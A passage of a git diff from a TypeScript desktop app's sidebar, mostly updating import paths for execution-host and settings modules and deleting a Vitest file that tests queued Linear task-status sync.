+++ b/src/renderer/src/components/sidebar/sidebar-feed/sidebar-pending-layer.ts @@ -1,5 +1,8 @@ import { ORCA_SIDEBAR_INPUTS_IS_MAIN } from '../../../../../shared/sidebar-list/feed/sidebar-inputs-switch' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import type { FolderWorkspace } from '../../../../../shared/folder-workspaces/folder-workspace-types' import { folderWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import { getFolderWorkspaceWorktreeHostId } from '../../../../../shared/folder-workspaces/folder-workspace-worktree' diff --git a/src/renderer/src/components/sidebar/ssh-host-remove-workspaces.ts b/src/renderer/src/components/sidebar/ssh-host-remove-workspaces.ts index e2a6b0cfde6..543d4ad8cac 100644 --- a/src/renderer/src/components/sidebar/ssh-host-remove-workspaces.ts +++ b/src/renderer/src/components/sidebar/ssh-host-remove-workspaces.ts @@ -1,5 +1,8 @@ import type { ConfirmedUnsavedDiscards } from '@/store/slices/worktrees/teardown/removed-workspace-unsaved-files' -import { getRepoExecutionHostId, toSshExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + toSshExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { useAppStore } from '@/store' import { runEnclosingWorktreeRemoval } from '@/store/workspaces/selection/active-worktree-deselection-intent' import type { SshHostRemoveResolution } from './ssh-host-remove-resolution' diff --git a/src/renderer/src/components/sidebar/use-wsl-host-off-review.ts b/src/renderer/src/components/sidebar/use-wsl-host-off-review.ts index ff40d26f623..a2d6c6384a8 100644 --- a/src/renderer/src/components/sidebar/use-wsl-host-off-review.ts +++ b/src/renderer/src/components/sidebar/use-wsl-host-off-review.ts @@ -1,5 +1,8 @@ import { useAppStore } from '@/store' -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import { isWslHostOffForForge } from '@/store/github/repositories/wsl-host-off-forge' diff --git a/src/renderer/src/components/sidebar/useSetupScriptPromptInspection.ts b/src/renderer/src/components/sidebar/useSetupScriptPromptInspection.ts index 5787bccb8b4..6c7449854fe 100644 --- a/src/renderer/src/components/sidebar/useSetupScriptPromptInspection.ts +++ b/src/renderer/src/components/sidebar/useSetupScriptPromptInspection.ts @@ -4,11 +4,11 @@ import { checkRuntimeHooks, inspectRuntimeSetupScriptImports } from '@/runtime/repo-hooks/runtime-hooks-client' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { isGitRepoKind } from '../../../../shared/repository/repo-kind' import type { Repo } from '../../../../shared/repository/repo-types' import { getRepoHostIdentity } from '../../../../shared/repository/repo-host-identity' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { SetupScriptPromptState } from './setup-script-prompt-render-state' /** Inspect the active repo's setup while the prompt can show; settings changes and retries inspect again. */ diff --git a/src/renderer/src/components/sidebar/useSetupScriptPromptRevalidation.ts b/src/renderer/src/components/sidebar/useSetupScriptPromptRevalidation.ts index adaeb051cc3..58cd6a74442 100644 --- a/src/renderer/src/components/sidebar/useSetupScriptPromptRevalidation.ts +++ b/src/renderer/src/components/sidebar/useSetupScriptPromptRevalidation.ts @@ -3,7 +3,10 @@ import { useAppStore } from '@/store' import { isGitRepoKind } from '../../../../shared/repository/repo-kind' import type { Repo } from '../../../../shared/repository/repo-types' import { getRepoHostIdentity } from '../../../../shared/repository/repo-host-identity' -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { SetupScriptPromptState } from './setup-script-prompt-render-state' /** Revisiting an already-activated worktree re-inspects at most this often. */ diff --git a/src/renderer/src/components/sidebar/workspace-actions/context-menu/use-worktree-context-menu-commands.ts b/src/renderer/src/components/sidebar/workspace-actions/context-menu/use-worktree-context-menu-commands.ts index 7525f873533..a845267f696 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/context-menu/use-worktree-context-menu-commands.ts +++ b/src/renderer/src/components/sidebar/workspace-actions/context-menu/use-worktree-context-menu-commands.ts @@ -2,7 +2,7 @@ import { useCallback } from 'react' import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { getRepoWorkspaceCreationTargetHint } from '@/lib/workspace/creation/project-host-workspace-target' import { resolveReviewRepository } from '@/lib/source-control/review/review-owner' import { diff --git a/src/renderer/src/components/sidebar/workspace-actions/context-menu/worktree-context-menu-delete-intent.ts b/src/renderer/src/components/sidebar/workspace-actions/context-menu/worktree-context-menu-delete-intent.ts index dcb9f6c6db3..c150fe63411 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/context-menu/worktree-context-menu-delete-intent.ts +++ b/src/renderer/src/components/sidebar/workspace-actions/context-menu/worktree-context-menu-delete-intent.ts @@ -3,7 +3,7 @@ import { runWorktreeBatchDelete, runWorktreeDelete } from '../deletion/delete-wo import { deleteFolderWorkspaceUnlessUnsaved } from '../deletion/folder-workspace-delete' import type { WorktreeDeleteIdentity } from '../deletion/worktree-delete-request' import type { Worktree } from '../../../../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' export type WorktreeContextMenuDeleteIntent = | { kind: 'worktree'; worktree: WorktreeDeleteIdentity } diff --git a/src/renderer/src/components/sidebar/workspace-actions/deletion/DeleteWorktreeTargetPreview.tsx b/src/renderer/src/components/sidebar/workspace-actions/deletion/DeleteWorktreeTargetPreview.tsx index 4e2f50f0940..c5c4196b4e4 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/deletion/DeleteWorktreeTargetPreview.tsx +++ b/src/renderer/src/components/sidebar/workspace-actions/deletion/DeleteWorktreeTargetPreview.tsx @@ -17,7 +17,7 @@ import { getExecutionHostLabel, parseExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { translate } from '@/i18n/i18n' import { useTranslate, type Translate } from '@/i18n/use-translate' diff --git a/src/renderer/src/components/sidebar/workspace-actions/deletion/ForgetSshWorkspaceDialog.tsx b/src/renderer/src/components/sidebar/workspace-actions/deletion/ForgetSshWorkspaceDialog.tsx index 3659b11b8c7..c92a48629d8 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/deletion/ForgetSshWorkspaceDialog.tsx +++ b/src/renderer/src/components/sidebar/workspace-actions/deletion/ForgetSshWorkspaceDialog.tsx @@ -13,7 +13,7 @@ import { Button } from '@/components/ui/button' import { useMountedRef } from '@/hooks/useMountedRef' import { useAppStore } from '@/store' import { useTranslate } from '@/i18n/use-translate' -import { toSshExecutionHostId } from '../../../../../../shared/execution-host' +import { toSshExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { WorktreeRemovalTarget } from '../../../../../../shared/worktree/removal/removal' import type { SshWorkspaceForgetResolution } from './ssh-workspace-forget-resolution' import { RemovalUnsavedFilesNotice } from './RemovalUnsavedFilesNotice' diff --git a/src/renderer/src/components/sidebar/workspace-actions/deletion/NestedWorktreeDeleteToast.fixture.tsx b/src/renderer/src/components/sidebar/workspace-actions/deletion/NestedWorktreeDeleteToast.fixture.tsx index 6e975fcda27..d41fe16fe45 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/deletion/NestedWorktreeDeleteToast.fixture.tsx +++ b/src/renderer/src/components/sidebar/workspace-actions/deletion/NestedWorktreeDeleteToast.fixture.tsx @@ -7,7 +7,7 @@ import type { GitWorktreeInfo } from '../../../../../../shared/worktree/types' import { toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' const PARENT = '/home/neil/orca/workspaces/orca/react-use-effects' const CHILD = `${PARENT}/.context/wt-safe-merge` diff --git a/src/renderer/src/components/sidebar/workspace-actions/deletion/delete-worktree-failure-toast.tsx b/src/renderer/src/components/sidebar/workspace-actions/deletion/delete-worktree-failure-toast.tsx index c8cc696658c..24f659532e0 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/deletion/delete-worktree-failure-toast.tsx +++ b/src/renderer/src/components/sidebar/workspace-actions/deletion/delete-worktree-failure-toast.tsx @@ -6,7 +6,7 @@ import { DeleteNestedWorktreesDialog } from './DeleteNestedWorktreesDialog' import { WorktreeForceDeleteButton } from './WorktreeForceDeleteButton' import { isNestedWorktreeRemovalError } from '../../../../../../shared/worktree/removal/nested-removal' import { composeWorktreeHostIdentity } from '../../../../../../shared/worktree/host-qualified-identity' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { isLockedWorktreeRemovalError, SUBMODULE_DIRTY_REMOVAL_DETAIL, diff --git a/src/renderer/src/components/sidebar/workspace-actions/deletion/delete-worktree-flow.ts b/src/renderer/src/components/sidebar/workspace-actions/deletion/delete-worktree-flow.ts index 27a942bc608..ba60ed8cc59 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/deletion/delete-worktree-flow.ts +++ b/src/renderer/src/components/sidebar/workspace-actions/deletion/delete-worktree-flow.ts @@ -13,7 +13,7 @@ import { resolveSshWorkspaceForget } from './ssh-workspace-forget-resolution' import { resolveWorktreeOperationRouteForHost } from '@/lib/workspace/ownership/worktree-operation-route' import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome' import { parseWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' -import { getWorktreeExecutionHostId } from '../../../../../../shared/execution-host' +import { getWorktreeExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { resolveWorktreeBatchDeleteTargets, toWorktreeDeleteIdentities, diff --git a/src/renderer/src/components/sidebar/workspace-actions/deletion/delete-worktree-preference-toast.ts b/src/renderer/src/components/sidebar/workspace-actions/deletion/delete-worktree-preference-toast.ts index 93a6219b538..2b45300ef22 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/deletion/delete-worktree-preference-toast.ts +++ b/src/renderer/src/components/sidebar/workspace-actions/deletion/delete-worktree-preference-toast.ts @@ -1,7 +1,7 @@ import { toast } from 'sonner' import { translate } from '@/i18n/i18n' import type { SettingsNavTarget } from '@/components/settings/navigation/settings-navigation-types' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' export async function persistDeleteWorktreeConfirmSkipPreference({ updateSettingsOrThrow, diff --git a/src/renderer/src/components/sidebar/workspace-actions/deletion/folder-workspace-delete.ts b/src/renderer/src/components/sidebar/workspace-actions/deletion/folder-workspace-delete.ts index f33e5fe888c..8bf817b215f 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/deletion/folder-workspace-delete.ts +++ b/src/renderer/src/components/sidebar/workspace-actions/deletion/folder-workspace-delete.ts @@ -1,5 +1,5 @@ import type { AppState } from '@/store/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { folderWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' import { blockRemovalForUnsavedFiles } from './removal-unsaved-files' import { getExecutionHostIdForFolderWorkspace } from '@/lib/workspace/ownership/folder-workspace-runtime-owner' diff --git a/src/renderer/src/components/sidebar/workspace-actions/deletion/removal-unsaved-files.ts b/src/renderer/src/components/sidebar/workspace-actions/deletion/removal-unsaved-files.ts index 99cee4205ba..896429b54b7 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/deletion/removal-unsaved-files.ts +++ b/src/renderer/src/components/sidebar/workspace-actions/deletion/removal-unsaved-files.ts @@ -5,7 +5,7 @@ import type { Translate } from '@/i18n/use-translate' import type { AppState } from '@/store/types' import type { WorktreePurgeTarget } from '@/store/slices/worktrees/teardown/worktree-purge-target' import { collectRemovalUnsavedFiles } from '@/components/editor/save/flush/removal-unsaved-editor-files' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getKnownRepoWorktreeIds } from '@/store/repos/repo-removal' export function discardedUnsavedFilesLabel(count: number, t: Translate = translate): string { diff --git a/src/renderer/src/components/sidebar/workspace-actions/deletion/ssh-workspace-forget-resolution.ts b/src/renderer/src/components/sidebar/workspace-actions/deletion/ssh-workspace-forget-resolution.ts index 3c52e35c0a9..cf661ee9f06 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/deletion/ssh-workspace-forget-resolution.ts +++ b/src/renderer/src/components/sidebar/workspace-actions/deletion/ssh-workspace-forget-resolution.ts @@ -1,7 +1,7 @@ import { isRuntimeOwnedSshTargetId, parseExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { WorktreeOperationRoute } from '@/lib/workspace/ownership/worktree-operation-route' /** Choose normal deletion or forget-only from the route a removal would take. */ diff --git a/src/renderer/src/components/sidebar/workspace-actions/deletion/workspace-delete-lineage.test.ts b/src/renderer/src/components/sidebar/workspace-actions/deletion/workspace-delete-lineage.test.ts index 3cf667facf2..b88ddf3fe87 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/deletion/workspace-delete-lineage.test.ts +++ b/src/renderer/src/components/sidebar/workspace-actions/deletion/workspace-delete-lineage.test.ts @@ -7,7 +7,7 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { WorktreeLineage } from '../../../../../../shared/worktree/lineage-types' import type { Worktree } from '../../../../../../shared/worktree/types' import { getWorkspaceDeleteLineage } from './workspace-delete-lineage' @@ -371,21 +371,6 @@ describe('detaching before parent deletion', () => { expect(hook.result.current.detachError).toBeNull() }) - it('uses the child host inline edge when the bare map belongs to a twin', async () => { - const parent = { ...makeWorktree('parent', '/workspaces/parent'), hostId: SSH_HOST } - const childBase = { ...makeWorktree('child', '/workspaces/child'), hostId: SSH_HOST } - const child = { ...childBase, lineage: makeLineage(childBase, parent) } - const hook = renderPreservation(parent, [parent, child], { - child: { ...makeLineage(child, parent), worktreeInstanceId: 'local-twin-instance' } - }) - const deleted: string[] = [] - - await act(async () => hook.result.current.detachChildren(() => deleted.push('parent'))) - - expect(deleted).toEqual(['parent']) - expect(hook.result.current.detachError).toBeNull() - }) - it('keeps the parent when a child detachment fails', async () => { const parent: Worktree = { ...makeWorktree('parent', '/workspaces/parent'), diff --git a/src/renderer/src/components/sidebar/workspace-actions/deletion/worktree-delete-execution.ts b/src/renderer/src/components/sidebar/workspace-actions/deletion/worktree-delete-execution.ts index 582847dea12..74cb0da0e60 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/deletion/worktree-delete-execution.ts +++ b/src/renderer/src/components/sidebar/workspace-actions/deletion/worktree-delete-execution.ts @@ -5,7 +5,7 @@ import { normalizeRuntimePathForComparison } from '../../../../../../shared/file-access/cross-platform-path' import type { Worktree } from '../../../../../../shared/worktree/types' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host/execution-host' import { composeWorktreeHostIdentity, getWorktreeHostIdentity diff --git a/src/renderer/src/components/sidebar/workspace-actions/deletion/worktree-delete-request.ts b/src/renderer/src/components/sidebar/workspace-actions/deletion/worktree-delete-request.ts index f3d55449f6c..ebfd49da4c3 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/deletion/worktree-delete-request.ts +++ b/src/renderer/src/components/sidebar/workspace-actions/deletion/worktree-delete-request.ts @@ -1,8 +1,8 @@ import type { ConfirmedUnsavedDiscards } from '@/store/slices/worktrees/teardown/removed-workspace-unsaved-files' import type { Worktree } from '../../../../../../shared/worktree/types' import type { PreservedBranchCleanup } from '../../../../../../shared/git/branches/preserved-branch-cleanup' -import { normalizeExecutionHostId } from '../../../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import { normalizeExecutionHostId } from '../../../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { WorktreeRemovalTarget } from '../../../../../../shared/worktree/removal/removal' export type WorktreeBatchDeleteOptions = { diff --git a/src/renderer/src/components/sidebar/workspace-actions/open/WorktreeOpenInMenu.tsx b/src/renderer/src/components/sidebar/workspace-actions/open/WorktreeOpenInMenu.tsx index 1c2c295e69f..e66bec8d7df 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/open/WorktreeOpenInMenu.tsx +++ b/src/renderer/src/components/sidebar/workspace-actions/open/WorktreeOpenInMenu.tsx @@ -24,7 +24,7 @@ import { import type { WorkspaceOwnerRef } from '@/lib/workspace/ownership/resolve-owner' import { NO_OPEN_IN_APPLICATIONS } from '@/lib/files/os-open/open-in-application-selection' import { showOpenFailureToast } from './worktree-open-failure-toast' -import type { OpenInApplication } from '../../../../../../shared/ui-chrome-types' +import type { OpenInApplication } from '../../../../../../shared/ui-chrome/ui-chrome-types' import { translate } from '@/i18n/i18n' import { useTranslate, type Translate } from '@/i18n/use-translate' diff --git a/src/renderer/src/components/sidebar/workspace-actions/parenting/ParentMachineBadge.tsx b/src/renderer/src/components/sidebar/workspace-actions/parenting/ParentMachineBadge.tsx index 5383b185877..8063d994a6c 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/parenting/ParentMachineBadge.tsx +++ b/src/renderer/src/components/sidebar/workspace-actions/parenting/ParentMachineBadge.tsx @@ -1,6 +1,6 @@ import { useAppStore } from '@/store' import { selectExecutionHostDisplayLabel } from '@/runtime/hosts/display/execution-host-display-label' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { WorktreeHostContextBadge } from '../../workspace-card/host/WorktreeHostContextBadge' /** Names the machine of a parent candidate on another machine, as the sidebar badge does. */ diff --git a/src/renderer/src/components/sidebar/workspace-actions/parenting/WorktreeParentPickerRow.tsx b/src/renderer/src/components/sidebar/workspace-actions/parenting/WorktreeParentPickerRow.tsx index d5531a2f192..c621bcc1602 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/parenting/WorktreeParentPickerRow.tsx +++ b/src/renderer/src/components/sidebar/workspace-actions/parenting/WorktreeParentPickerRow.tsx @@ -10,7 +10,7 @@ import { branchDisplayName } from '../../workspace-card/identity/worktree-branch import StatusIndicator from '../../workspace-card/surface/StatusIndicator' import type { Repo } from '../../../../../../shared/repository/repo-types' import type { Worktree } from '../../../../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { ParentMachineBadge } from './ParentMachineBadge' // The picker batches status reads once; memoized rows keep no store subscriptions. diff --git a/src/renderer/src/components/sidebar/workspace-actions/parenting/worktree-parent-candidates.ts b/src/renderer/src/components/sidebar/workspace-actions/parenting/worktree-parent-candidates.ts index 938a7f7cd2e..14a2ed5ca91 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/parenting/worktree-parent-candidates.ts +++ b/src/renderer/src/components/sidebar/workspace-actions/parenting/worktree-parent-candidates.ts @@ -2,7 +2,7 @@ import { isWorktreeRetiredByRemoval } from '../../../../../../shared/worktree/re import { getWorktreeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../../shared/repository/repo-types' import type { WorktreeLineage } from '../../../../../../shared/worktree/lineage-types' import type { Worktree } from '../../../../../../shared/worktree/types' diff --git a/src/renderer/src/components/sidebar/workspace-actions/parenting/worktree-parent-selection.ts b/src/renderer/src/components/sidebar/workspace-actions/parenting/worktree-parent-selection.ts index c4058558784..9786eaa61e4 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/parenting/worktree-parent-selection.ts +++ b/src/renderer/src/components/sidebar/workspace-actions/parenting/worktree-parent-selection.ts @@ -1,7 +1,7 @@ import { toast } from 'sonner' import { translate } from '@/i18n/i18n' import type { AppState } from '@/store/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' type SelectParentArgs = { childWorktreeId: string | null diff --git a/src/renderer/src/components/sidebar/workspace-actions/sleep/SleepTwinWorkspaceDialog.tsx b/src/renderer/src/components/sidebar/workspace-actions/sleep/SleepTwinWorkspaceDialog.tsx index 49cca8da861..56f58733499 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/sleep/SleepTwinWorkspaceDialog.tsx +++ b/src/renderer/src/components/sidebar/workspace-actions/sleep/SleepTwinWorkspaceDialog.tsx @@ -11,7 +11,10 @@ import { Button } from '@/components/ui/button' import { useAppStore } from '@/store' import { useTranslate } from '@/i18n/use-translate' import { useUiLanguageRevision } from '@/i18n/use-ui-language-revision' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../../shared/execution-host/execution-host' import { runSleepWorktrees } from './sleep-worktree-flow' import { selectExecutionHostDisplayLabel } from '@/runtime/hosts/display/execution-host-display-label' diff --git a/src/renderer/src/components/sidebar/workspace-actions/sleep/sleep-twin-confirmation.ts b/src/renderer/src/components/sidebar/workspace-actions/sleep/sleep-twin-confirmation.ts index 16c5e62fd7d..56d317e8863 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/sleep/sleep-twin-confirmation.ts +++ b/src/renderer/src/components/sidebar/workspace-actions/sleep/sleep-twin-confirmation.ts @@ -3,7 +3,7 @@ import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { hostWorktreeTarget } from '../../../../../../shared/worktree/host-qualified-identity' import type { Worktree } from '../../../../../../shared/worktree/types' import { collectHostTwinPurgeScopes } from '@/store/slices/worktrees/teardown/host-twin-purge-scopes' diff --git a/src/renderer/src/components/sidebar/workspace-actions/sleep/sleep-worktree-flow.ts b/src/renderer/src/components/sidebar/workspace-actions/sleep/sleep-worktree-flow.ts index b5ce224bcb5..d4a7a96ddda 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/sleep/sleep-worktree-flow.ts +++ b/src/renderer/src/components/sidebar/workspace-actions/sleep/sleep-worktree-flow.ts @@ -1,7 +1,7 @@ import { toast } from 'sonner' import { useAppStore } from '@/store' import { translate } from '@/i18n/i18n' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { WorkspaceSleepOutcome } from '../../../../../../shared/workspace/lifecycle/workspace-sleep' import { workspaceSleepTarget } from './workspace-sleep-target' diff --git a/src/renderer/src/components/sidebar/workspace-actions/sleep/workspace-sleep-target.ts b/src/renderer/src/components/sidebar/workspace-actions/sleep/workspace-sleep-target.ts index a1c78430fd9..8bf1a39939c 100644 --- a/src/renderer/src/components/sidebar/workspace-actions/sleep/workspace-sleep-target.ts +++ b/src/renderer/src/components/sidebar/workspace-actions/sleep/workspace-sleep-target.ts @@ -2,7 +2,7 @@ import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { authorityKey, SELF_LOCAL_AUTHORITY diff --git a/src/renderer/src/components/sidebar/workspace-board/projection/use-workspace-board-task-status-sync.queued.test.ts b/src/renderer/src/components/sidebar/workspace-board/projection/use-workspace-board-task-status-sync.queued.test.ts deleted file mode 100644 index e81ab5c0935..00000000000 --- a/src/renderer/src/components/sidebar/workspace-board/projection/use-workspace-board-task-status-sync.queued.test.ts +++ /dev/null @@ -1,156 +0,0 @@ -// @vitest-environment happy-dom - -import { cleanup, renderHook } from '@testing-library/react' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { linearGetIssue, linearUpdateIssue } from '@/runtime/linear/runtime-linear-issue-client' -import { linearTeamStates } from '@/runtime/linear/runtime-linear-project-client' -import type { LinearMutationResult } from '@/runtime/linear/runtime-linear-client' -import type { WorktreeOperationRouteState } from '@/lib/workspace/ownership/worktree-operation-route' -import type { WorkspaceRecordState } from '@/store/workspaces/selection/workspace-host-target' -import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture' -import { findKnownWorktreeById } from '@/store/slices/worktrees/listing/detected-worktree-meta' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' -import type { LinearIssue } from '../../../../../../shared/linear/issue-types' -import { getWorktreeHostIdentity } from '../../../../../../shared/worktree/host-qualified-identity' -import * as taskStatusSync from './workspace-board-task-status-sync' -import { useWorkspaceBoardTaskStatusSync } from './use-workspace-board-task-status-sync' - -const { getState } = vi.hoisted(() => ({ - getState: vi.fn<() => WorktreeOperationRouteState & WorkspaceRecordState>() -})) - -vi.mock('@/store', () => ({ useAppStore: { getState } })) -vi.mock('@/runtime/linear/runtime-linear-issue-client', () => ({ - linearGetIssue: vi.fn(), - linearUpdateIssue: vi.fn() -})) -vi.mock('@/runtime/linear/runtime-linear-project-client', () => ({ linearTeamStates: vi.fn() })) -vi.mock('sonner', () => ({ toast: { error: vi.fn(), warning: vi.fn() } })) - -const issue: LinearIssue = { - id: 'issue-1', - identifier: 'ORC-1', - title: 'Sync the board', - description: '', - url: 'https://linear.app/orca/issue/ORC-1', - state: { name: 'Todo', type: 'unstarted', color: '#999' }, - team: { id: 'team-1', name: 'Orca', key: 'ORC' }, - labels: [], - labelIds: [], - priority: 0, - updatedAt: '2026-06-15T00:00:00.000Z' -} -const statuses = [ - { id: 'todo', label: 'Todo' }, - { id: 'in-review', label: 'In review' } -] - -function setup(hostId: 'local' | 'runtime:env-b') { - const card = makeWorktree({ - id: 'repo::/w', - repoId: 'repo', - hostId, - workspaceStatus: 'todo', - linkedLinearIssue: issue.identifier - }) - const twin = { ...card, hostId: hostId === 'local' ? 'runtime:env-b' : 'local' } as const - const catalog = (rows: (typeof card)[]) => { - const state = { - worktreesByRepo: { repo: rows }, - folderWorkspaces: [], - detectedWorktreesByRepo: {}, - floatingWorkspacePath: null, - getKnownWorktreeById: (id: string, hostId?: ExecutionHostId) => - findKnownWorktreeById(state, id, hostId) - } - return state - } - getState.mockReturnValue(catalog([{ ...card, workspaceStatus: 'in-review' }, twin])) - const sync = vi.spyOn(taskStatusSync, 'syncWorkspaceBoardTaskStatuses') - const { result } = renderHook(() => - useWorkspaceBoardTaskStatusSync({ - enabled: true, - worktreesByKey: new Map([[getWorktreeHostIdentity(card), card]]), - workspaceStatuses: statuses - }) - ) - return { - sync, - move: () => result.current([getWorktreeHostIdentity(card)], 'in-review'), - removeCard: () => { - getState.mockReturnValue(catalog([{ ...twin, workspaceStatus: 'in-review' }])) - }, - settings: - hostId === 'local' - ? { kind: 'local' as const } - : { kind: 'environment' as const, environmentId: 'env-b' } - } -} - -beforeEach(() => { - vi.mocked(linearGetIssue).mockResolvedValue(issue) - vi.mocked(linearTeamStates).mockResolvedValue([ - { id: 'state-review', name: 'In review', type: 'started', color: '#111', position: 1 } - ]) - vi.mocked(linearUpdateIssue).mockResolvedValue({ ok: true }) - vi.spyOn(console, 'info').mockImplementation(() => {}) - vi.spyOn(console, 'warn').mockImplementation(() => {}) -}) - -afterEach(() => { - cleanup() - vi.restoreAllMocks() - vi.clearAllMocks() -}) - -describe.each(['local', 'runtime:env-b'] as const)('queued task sync for %s', (hostId) => { - it('refuses provider access when the captured copy disappears while queued', async () => { - const { sync, move, removeCard, settings } = setup(hostId) - const firstUpdate = Promise.withResolvers() - vi.mocked(linearUpdateIssue).mockReturnValueOnce(firstUpdate.promise) - - move() - await vi.waitFor(() => expect(linearUpdateIssue).toHaveBeenCalledTimes(1)) - move() - expect(sync).toHaveBeenCalledTimes(2) - expect(linearGetIssue).toHaveBeenCalledTimes(1) - - removeCard() - firstUpdate.resolve({ ok: true }) - const results = await Promise.all(sync.mock.results.map((result) => result.value)) - - expect(results).toEqual([ - { updated: 1, skipped: 0, failed: 0, messages: [] }, - { - updated: 0, - skipped: 1, - failed: 0, - messages: [{ kind: 'owner-ambiguous', issueIdentifier: issue.identifier }] - } - ]) - expect(linearGetIssue).toHaveBeenCalledExactlyOnceWith(settings, issue.identifier, undefined) - expect(linearTeamStates).toHaveBeenCalledExactlyOnceWith(settings, 'team-1', undefined) - expect(linearUpdateIssue).toHaveBeenCalledExactlyOnceWith( - settings, - issue.id, - { stateId: 'state-review' }, - undefined - ) - }) - - it('does not borrow the surviving twin status when the captured copy disappears during a read', async () => { - const { sync, move, removeCard, settings } = setup(hostId) - const pendingIssue = Promise.withResolvers() - vi.mocked(linearGetIssue).mockReturnValueOnce(pendingIssue.promise) - - move() - await vi.waitFor(() => expect(linearGetIssue).toHaveBeenCalledTimes(1)) - removeCard() - pendingIssue.resolve(issue) - const results = await Promise.all(sync.mock.results.map((result) => result.value)) - - expect(results).toEqual([{ updated: 0, skipped: 1, failed: 0, messages: [] }]) - expect(linearTeamStates).toHaveBeenCalledExactlyOnceWith(settings, 'team-1', undefined) - expect(linearUpdateIssue).not.toHaveBeenCalled() - }) -}) diff --git a/src/renderer/src/components/sidebar/workspace-board/projection/use-workspace-board-task-status-sync.ts b/src/renderer/src/components/sidebar/workspace-board/projection/use-workspace-board-task-status-sync.ts index 3bb2909afa7..a843229b25a 100644 --- a/src/renderer/src/components/sidebar/workspace-board/projection/use-workspace-board-task-status-sync.ts +++ 